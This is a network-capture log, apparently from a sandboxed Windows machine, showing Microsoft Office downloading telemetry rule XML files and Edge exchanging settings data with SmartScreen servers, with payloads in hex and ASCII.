2024-11-27 15:34:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:47 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:48 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153448Z-174f7845968kdththC1EWRzvxn00000009b000000000rzs6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:48 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49842	13.91.96.185	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:48 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiV0lhb3IxZEZ1UFhaVFZJL1A4emppdz09IiwgImhhc2giOiJWcmd0VDR2RHhLaz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-27 15:34:48 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-27 15:34:49 UTC	302	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:48 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-27 15:34:49 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-27 15:34:49 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-27 15:34:49 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-27 15:34:49 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-27 15:34:49 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-27 15:34:49 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-27 15:34:49 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-27 15:34:49 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:50 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:50 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153450Z-174f7845968swgbqhC1EWRmnb40000000x6000000000pksc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:50 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:50 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:50 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 80aee034-201e-00aa-143d-403928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153450Z-174f7845968n2hr8hC1EWR9cag0000000wu00000000084we x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:50 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:50 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:50 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153450Z-174f7845968l4kp6hC1EWRe8840000000xfg000000000h7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:50 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:50 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:50 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 49dfce9c-f01e-00aa-0974-408521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153450Z-174f7845968xlwnmhC1EWR0sv80000000wug00000000ss4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:50 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:50 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:50 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153450Z-174f78459685m244hC1EWRgp2c0000000x10000000004unt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:50 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 